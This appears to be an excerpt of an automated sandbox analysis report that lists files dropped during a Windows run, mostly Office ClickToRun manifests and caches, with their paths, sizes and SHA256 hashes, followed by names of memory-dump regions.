                      C2RManifest.officemui.msi.16.en-us.xml

                      • Path C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.officemui.msi.16.en-us.xml
                      • Size 123KB
                      • SHA256 6ff1d0b8d46f96e67f81ff598043ddb77847c5c6c2df29dbe7752ea607f94f91
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      C2RManifest.onenotemui.msi.16.en-us.xml

                      • Path C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.onenotemui.msi.16.en-us.xml
                      • Size 18KB
                      • SHA256 e0efae5cc67d2e5e276b70a094b4bc7d48eb3a8627e45282b3c8ee366c549a5c
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      C2RManifest.osmmui.msi.16.en-us.xml

                      • Path C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmmui.msi.16.en-us.xml
                      • Size 11KB
                      • SHA256 f19ac9f4fb6663de6ea8fc56ff4ab2c2509102f0deb80e09275145c772531840
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      C2RManifest.osmuxmui.msi.16.en-us.xml

                      • Path C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmuxmui.msi.16.en-us.xml
                      • Size 11KB
                      • SHA256 0e5306163892ae6af67af11dd9214d8773bf7af456ec192386732873c02c9434
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      C2RManifest.outlookmui.msi.16.en-us.xml

                      • Path C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.outlookmui.msi.16.en-us.xml
                      • Size 108KB
                      • SHA256 e9d4cf4a5a822dbbcf43981fa545fc9fbf5892c0d3dd904c69a8c8c361f81e5d
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      C2RManifest.powerpointmui.msi.16.en-us.xml

                      • Path C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.powerpointmui.msi.16.en-us.xml
                      • Size 27KB
                      • SHA256 70a2b4be136d7ac4c5c03f4fd71b8385b98c65db1e2c4bd5c232ed8db1a54272
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      C2RManifest.shared.Office.x-none.msi.16.x-none.xml

                      • Path C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.shared.Office.x-none.msi.16.x-none.xml
                      • Size 719KB
                      • SHA256 a122baafcd8e54a86b66d20a1319a0437c4b53da65beba7460ea84a6df3d0cab
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      C2RManifest.wordmui.msi.16.en-us.xml

                      • Path C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.wordmui.msi.16.en-us.xml
                      • Size 78KB
                      • SHA256 f67858a40946cdf03d8baa04737be7ed814330b4ae4654424178ff168f124f3e
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      edbtmp.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log
                      • Size 512KB
                      • SHA256 5b9b55b635edcb1870a289bb863af61b284113685853b1a64f5c2a905e6f04e9
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      excel.exe_Rules.xml

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml
                      • Size 1.4MB
                      • SHA256 faf4b0b3332cb360a1f0ede9e373929904a1b2d59acf613322ae73cc9c82e36b
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      prep_Activatable Class_Hermes_perf.cache

                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                      • Size 599B
                      • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_rn0euifs.ojw.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rn0euifs.ojw.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      memory/1756-6618-0x00000000038C0000-0x00000000038C1000-memory.dmp

                      memory/5404-5530-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-6437-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-6005-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-6043-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-5864-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-5733-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-834-0x00007FFF1CCFF000-0x00007FFF1CD00000-memory.dmp

                      memory/5404-4323-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-3286-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-4520-0x000001B574C10000-0x000001B574C32000-memory.dmp

                      memory/5404-4154-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-6211-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-4153-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/5404-6004-0x00007FFF1CB70000-0x00007FFF1D514000-memory.dmp

                      memory/15764-6485-0x000001EF14210000-0x000001EF14230000-memory.dmp

                      memory/15764-6451-0x000001EF13E90000-0x000001EF13F90000-memory.dmp

                      memory/15764-6461-0x000001EF03C90000-0x000001EF03CB0000-memory.dmp

                      memory/15764-6440-0x000001EF001E0000-0x000001EF002E0000-memory.dmp

                      memory/15764-6450-0x000001EF03A50000-0x000001EF03A70000-memory.dmp

                      memory/15764-6441-0x000001EF001E0000-0x000001EF002E0000-memory.dmp

                      memory/15764-6439-0x000001EF001E0000-0x000001EF002E0000-memory.dmp